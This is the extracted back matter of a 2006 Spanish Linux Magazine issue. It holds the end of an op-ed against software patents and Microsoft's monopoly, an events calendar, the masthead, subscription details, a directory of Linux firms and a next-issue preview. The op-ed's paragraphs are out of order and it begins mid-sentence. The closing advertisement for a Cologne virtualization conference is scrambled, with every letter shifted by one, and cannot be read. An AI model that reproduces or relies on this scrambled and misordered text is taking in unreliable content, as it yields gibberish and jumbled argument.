cuellos de botella de la arquitectura del código, en sentido amplio, de Internet. La defensa debe insistir en pronunciar la palabra secreta de todo este asunto: “monopolio”, y en demostrar la imposibilidad de eliminar bajo condiciones política y jurídicamente controladas el movimiento del software libre. Porque lo que sí debe tener muy claro una sociedad abierta es que todo totalitarismo basa su estructura económica en el monopolio. El monopolio salvador de Microsoft es muy tradicionalista, ya que, como productor de unas soluciones técnicas que se remontan en su planteamiento a muchos años atrás, recoge un conjunto de cuestiones bien concretas con sus planteamientos y pretende encauzar la historia de la programación sobre esos rieles, desfasados y determinados frente a la realidad. Parte además de un paradigma ideológico artificial: sólo puede haber un sistema operativo. Pero realidad significa propensión a los hechos. La imaginación es orgánica, en ella hay esperanza fuera de esa cada vez más necrópolis que es la Oficina Europea de Patentes. Ellos aún no lo saben, pero contamos con un arma secreta, legal y definitiva: la ausencia de glamour de los ■ monopolios.
EL AUTOR
a era glacial es lo más parecido a la primavera para los monopolios y el termómetro legal no marca muy alto últimamente en Europa. La fiebre ideológica de las patentes de software aún domina la Oficina de Patentes Europea donde creen que las patentes son un buen negocio para el viejo continente, algo que además les permitirá el crecimiento gigantesco de su aparato burocrático. Ultimátum, Ironía y Decadencia son tres bailarinas traídas a la tarima del escenario europeo por uno de los directores comerciales de Microsoft concretamente para lanzar desde sus tacones la amenaza de eventuales demandas por infracción de patentes a los que se salgan fuera del paraguas de sus productos. Pero el miedo a los fantasmas es la única prueba de que estos existen y la única prueba de que las patentes de software en Europa tienen alguna virtualidad o eficacia es el temor de algún directivo a una demanda Europea por infracción. Alguno de sus apoyos en Bruselas pretende cargarse de convicción afirmando que cuando se den el gran banquete, al menos las más grandes mantendrán el protocolo en la mesa. La patente para software en Europa sólo es comprensible para alguien que piensa que un sistema operativo es un lugar donde se crían gallinas, o que un monopolio en Europa es algo que sólo sucede en los videojuegos. No creo que los políticos le vayan a dejar a hacer a Mr. Gates algo que no les dejan hacer a ellos mismos: controlar la gramática. Qué más quisieran ellos que controlar el código de lo que podemos decir y pensar. Gates dice que sólo lo quiere para el Universo digital, por eso, tras varios asaltos directos de la propuesta de patentamiento del software al Parlamento Europeo, el movimiento pro-patentes sólo ha servido para enriquecer a los lobbys de Bruselas y es
José María Lancho es abogado y fundador de la Asociación Legalventure (http://www.legalventure. com/) un grupo de abogados que pretende estudiar la relación del derecho y la tecnología como factores de cambio social en España. Asimismo, José María es miembro fundador del Observatorio de Neutralidad Tecnológica (http:// neutralidad.es/), dedicado a la denuncia de abusos contra los usuarios en materia tecnológica.
Número 20
91
ยกHazte con tus ejemplares atrasados! #09
#10
#11
o d a t o ag
#12
#13
#14
#15
#16
#17
W W W. L I N U X - M A G A Z I N E . E S / AT R A S A D O S
¡pídelos ya! el REPOSITORIO
de conocimientos LINUX más COMPLETO
¡No esperes a que se agoten! #18
#19
W W W. L I N U X - M A G A Z I N E . E S / AT R A S A D O S
EVENTOS
I Concurso Universitario de Software Libre
Trolltech Devel. Days 2006
Virtualization Conference
Fecha: 26-27 Octubre
Fecha: 14-15 Noviembre
Fecha: 1-13 Octubre
Ciudad: San José, EE.UU.
Ciudad: Colonia, Alem.
Sitio Web:
Sitio Web:
http://www.trolltech.com
http://www.linux-magazine.com
Ciudad: Sevilla, España Web: http://concurso-softwarelibre.us.es
Calendario de Eventos Evento AUUG 2006 LinuxWorld Conference & Expo NL Trolltech Developer Days Europe 2006 hack.lu 2006 aLANtejo 06 LinuxWorld Conference & Expo UK Zend/PHP Conference 2006 International PHP Conference 2006 Web 2.0 Conference Forum PHP 2006 Firebird Conference 2006 LinuxWorld Conference & Expo Germany Virtualization Conference T-DOSE Open Source Developers' Conference Secure Linux Admin. Conference 23rd Chaos Communication Congress 14. DFN-Cert-Workshop Open Source Developers' Conference
Fecha 8-13 Octubre 11-12 Octubre 11-12 Octubre 19-21 Octubre 20-26 Octubre 25-26 Octubre 29 Oct.-2 Nov. 5-8 Noviembre 7-9 Noviembre 9-10 Noviembre 12-14 Noviembre 14-16 Noviembre 14-15 Noviembre 2-3 Diciembre 5-8 Diciembre 7-8 Diciembre 27-30 Diciembre 7-8 Febrero 07 20-22 Febrero 07
Ciudad Melbourne, Australia Utrecht, Holanda Munich, Alemania Kirchberg, Luxemburgo Évora, Portugal Londres, U.K. San Jose, EEUU Frankfurt, Alemania San Francisco, EEUU Paris, Francia Praga, República Checa Colonia, Alemania Colonia, Alemania Eindhoven, Holanda Melbourne, Australia Berlín, Alemania Berlín, Alemania Hamburgo, Alemania Netanya, Israel
Sitio Web new.auug.org.au/events_store/auug2006 www.linuxworldexpo.nl www.trolltech.com/devdays2006 www.hack.lu alantejo.uevora.pt/2006 www.linuxworldexpo.co.uk devzone.zend.com/node/view/id/89 www.phpconference.com www.web2con.com www.afup.org/article.php3?id_article=304 www.ibphoenix.com www.linuxworldexpo.de www.linux-magazine.com/virtualization www.t-dose.org www.osdc.com.au www.heinlein-support.de/slac events.ccc.de/congress/2006 www.cert.dfn.de/events/ws/2007 www.osdc.org.il/2007
Información de Contacto Director Paul C. Brown
Director Editorial Paul C. Brown
Coolaboradores Paul C. Brown, Jose Manuel González Vida, Juan Rafael Fernández, Pedro Orantes, José María Ruíz, Alberto Planas, Jose A. García, Ana Mª Ferreiro
Jefe de Producción Juan Miguel Ramírez
Traductores Paqui Martín Vergara, Paul C. Brown, Víctor Tienda, Oliver Kurz.
Subscripciones: www.linux-magazine.es/magazine/subs
Maquetación Juan Miguel Ramírez Diseño de Portada Pinball info@pinball-werbeagentur.de Publicidad www.linux-magazine.es/pub/ Para España Marketing y Comunicaciones anuncios@linux-magazine.es Tel.: (+ 34) 951 010 556 Fax.: (+ 34) 951 010 516 Paul C. Brown pbrown@linux-magazine.es Tel.: (+ 34) 951 010 556 Fax.: (+ 34) 951 010 516 Para el Resto del Mundo Brian Osborn ads@linux-magazine.com Tel.: (+49) 6509 910 495 Fax.: (+49) 6509 910 497
94
Número 20
Precios Subscripción España: Europa: Resto del Mundo - Euros: Tel.: Fax.: subs@linux-magazine.es
54,90 € 64,90 € 84,90 € (+34) 951 010 556 (+34) 951 010 516
Linux Magazine Linux New Media Spain, S.L. Avda. Juan López Peñalver, 21 29590 - Campanillas Málaga ESPAÑA info@linux-magazine.es Tel.: (+34) 951 010 556 Fax.: (+34) 951 010 516
www.linux-magazine.es - España www.linux-magazine.com - Mundo www.linux-magazine.de - Alemania
WWW.LINUX- MAGAZINE.ES
Si bien se toman todas las medidas posibles para garantizar la precisión del contenido de los artículos publicados en Linux Magazine, la editorial no se hace responsable de imprecisiones aparecidas en la revista. Asimismo, Linux Magazine no comparte necesariamente las opiniones vertidas por sus colaboradores en sus artículos. El riesgo derivado del uso del DVD y el material que contiene corren por cuenta del lector. El DVD es estudiado escrupulosamente para confirmar que está libre de virus y errores. Copyright y Marcas Registradas © 2006 Linux New Media Spain, S.L. Linux New Media Spain S.L. prohíbe la reproducción total o parcial de los contenidos de Linux Magazine sin su permiso previo y por escrito. Linux es una Marca Registrada de Linus Torvalds. Impreso en Alemania Impresión: Dierichs Druck + Media GmbH Distribución: SGEL Depósito Legal: MA-116-2005 ISSN edición impresa: 1576-4079 ISSN edición online: 1699-2237
Más del 30% de descuento respecto al precio de portada: Consigue 12 números por 54’90 Euros y todos los DVDs ¡Gratis!
A diferencia de otras publicaciones, Linux Magazine no llenará tu buzón de recordatorios para que renueves tu subscripción. Ésta se renovará automáticamente cada año. Recibirás una confirmación aproximadamente 30 días antes del final de tu periodo de subscripción, pero no se requiere que hagas nada para seguir suscrito.
¡No te pierdas Linux Magazine nunca más! La subscripción te asegura que recibas los conocimientos Linux de más alta calidad en tu domicilio cada mes.
Si por cualquier motivo decides dejar de leer Linux Magazine, puedes cancelar tu subscripción en cualquier momento. Te abonaremos el precio de todos los números que no hayas recibido. Sin preguntas, sin fechas de cancelación, sin problemas.
Linux Magazine es algo más que una revista de Linux. Patrocinamos grupos, congresos, proyectos y eventos relacionados con el Software Libre. Suscribiéndote a Linux Magazine garantizas que podamos seguir apoyando al Software Libre allá donde haga falta.
LINUX LOCAL
LINUX LOCAL Leyenda inux Local es el directorio de servicios y empresas de Linux cerca de ti. ¿Necesitas soporte, hardware, formación? Consulta Linux Local y encuentra quién ofrece qué y dónde. El directorio se divide en regiones autónomas para ayudarte a localizar las empresas que ofrecen servicios cerca de ti. Utiliza la leyenda de la derecha para encontrar la empresa que ofrece el servicio que precises. Linux Local es tu guía de servicios Linux.
L
1.- Hardware 2.- Software / Desarollo 3.- Formación 4.- Soporte / Consultoría 5.- Servidores 6.- Redes 7.- Migración 8.- Hospedaje
Andalucía Logo
Empresa
Correo-e
Web
1
2 3 4 5 6
Gesinfo
info@gesinfoweb.com
www.gesinfoweb.com
BitRock
info@bitrock.com
bitrock.com
Properly Software
info@properly.es
www.properly.es/site
GuadaGames
vicentecarro@guadagames.com
www.guadagames.com
Empresa
Correo-e
Web
IWS
iws@iws.es
www.iws.es
Empresa
Correo-e
Web
Mono::labs
contacte@monolabs.com
www.monolabs.com
Datum
info@datum.ws
www.datum.ws
Virtua
comercial@virtua.es
www.virtua.es
Opentia
comercial@opentia.es
www.opentia.es
7 8
Cataluña Logo
1
2 3 4 5 6
7 8
Madrid Logo
1
2 3 4 5 6
7 8
¿Por qué no está su empresa en este directorio? LINUX MAGAZINE llega a miles de empresas, profesionales y usuarios cada mes. Si tiene servicios o productos Linux que ofrecer ¡Llámenos! Tlf.: +34 951 010 556 Fax: +34 951 010 516 info@linux-magazine.es
WWW.LINUX- MAGAZINE.ES
Número 20
97
PRÓXIMO NÚMERO
Noviembre 2006: Número 21
PRÓXIMO NÚMERO EL FUTURO DE LOS GRÁFICOS LINUX En el extraño y maravilloso mundo de Linux, el mañana siempre llega hoy. Si ayer Linux era el patito feo de los entornos visuales, hoy es el referente hacia el que los demás miran. El mes que viene veremos porqué. Primero analizamos la validez del venerable sistema de ventanas X y comprobamos si es capaz de satisfacer las demandas de un mundo que exige 3D para todo. A continuación vemos qué dan de sí precisamente los escritorios 3D con las tecnologías de Xgl y Compiz ¿Incrementan la productividad y la accesibilidad, o no son más que bonitos juguetes? En nuestro siguiente artículo echaremos un vistazo a una tecnología que viene de la mano de Red Hat: AIGLX, una alternativa a Xgl. Veremos en qué supera y dónde falla ante Xgl. Por último presentamos un repaso de la mayor revisión del sistema X en más de diez años: aceleración para transparencias, transformaciones de objetos aleatorios y más y mejor soporte de hardware son sus principales cartas de presentación. Todo esto y más en X11R7.
Taller SUPERKARAMBA
GCC 4.1.1
Si bien cambiar la imagen de fondo de la pantalla es toda una proeza técnica para algunos, otros llevan la personalización de sus escritorios mucho más allá. Temas, widgets y applets dinámicos a través de scripts Python, todo es posible con Superkaramba.
La colección de compiladores GNU es la piedra angular técnica del movimiento del software libre. Disponible para todas la plataformas y todos los lenguajes de programación, revisaremos lo que hay de nuevo en las versiones más recientes y veremos en qué medida ha mejorado su rendimiento.
A LA VENTA: OCTUBRE 2006 98
Número 20
WWW.LINUX- MAGAZINE.ES
'JSTU *OUFSOBUJPOBM
7JSUVBMJ[BUJPO $POGFSFODF /PWFNCFS i MJWF JO $PMPHOF (FSNBOZ
i BOE MJWF JO ZPVS PGGJDF
DP MPDBUFE XJUI -JOVY8PSME $POGFSFODF &YQP XXX MJOVYXPSMEFYQP EF
XJUI WJEFP TUSFBNJOH QSFTFOUBUJPO EPXOMPBET BOE DIBU SPPNT XXX MJOVY NBHB[JOF DPN WJSUVBMJ[BUJPO
#PPL OPX UP HFU ZPVS FBSMZ CJSE EJTDPVOU
i 5IF 1SPHSBN 5VFTEBZ /PWFNCFS
8FEOFTEBZ /PWFNCFS
'PVOEBUJPO 5FDIOPMPHJFT BOE 1MBUGPSNT )BSEXBSF BOE 4PGUXBSF ".% 7JSUVBMJ[BUJPO 5FDIOPMPHZ 7JSUVBMJ[BUJPO PO *#. 108&3 4ZTUFNT &OIBODJOH 9FO XJUI *OUFM 7JSUVBMJ[BUJPO 5FDIOPMPHZ *OUFM 75 &OUFSQSJTF (SBEF 7JSUVBMJ[BUJPO XJUI 0QFO 4PVSDF 5FDIOPMPHJFT -VODI #SFBL 7JTJU PG UIF 7JSUVBMJ[BUJPO 1BSL 8JOEPXT 4FSWFS WJSUVBMJ[BUJPO o UIF XIBU IPX BOE XIZ 7.XBSF BOE UIF 7JSUVBM %BUB $FOUFS 4VOAT "QQSPBDI UP 7JSUVBMJ[BUJPO GSPN 6TF $BTFT UP 5PPMT
.BOBHFNFOU 5PPMT BOE 4FSWJDFT /FX EZOBNJD .BJOGSBNF 4FSWJDFT )1 T 6OJm FE *OGSBTUSVDUVSF NBOBHFNFOU DPWFSJOH QIZTJDBM BOE WJSUVBMJ[FE TZTUFNT
*/5&3/"5*0/"- .&%*" 410/403
*OUFHSBUFE 7JSUVBMJ[BUJPO 'SPN TFSWFS CBTFE DPNQVUJOH UP UIF DPNQVUF QPXFS CBTFE WJFX PO ZPVS EBUBDFOUFS 7JSUVBMJ[BUJPO " OFX XBZ NBOBHJOH XPSLMPBET BOE TFSWFST
4UPSBHF BOE /FUXPSLT $POTPMJEBUJPO PG 4UPSBHF *OGSBTUSVDUVSFT CZ VTJOH 7JSUVBMJ[BUJPO 4PMVUJPOT /FUXPSL *OGSBTUSVDUVSF 7JSUVBMJ[BUJPO PQUJPOT BOE JNQMFNFOUBUJPO TDFOBSJPT -VODI #SFBL 7JTJU PG UIF 7JSUVBMJ[BUJPO 1BSL *OOPWBUJPO
7JSUVBMJ[BUJPO 5FDIOPMPHZ 0VUMPPL 7JSUVP[[P o 04 -FWFM 7JSUVBMJ[BUJPO BOE Fõ FDUJWF NBOBHFNFOU PG 7JSUVBMJ[FE %BUB $FOUFST 1BSBWJSUVBMJ[BUJPO o -BUFTU *OOPWBUJPO PS %FBE &OE "QQSPBDI 4VNNBSZ
8PSME T MFBEJOH 5SBEF &WFOU GPS -JOVY BOE 0QFO 4PVSDF JO CVTJOFTT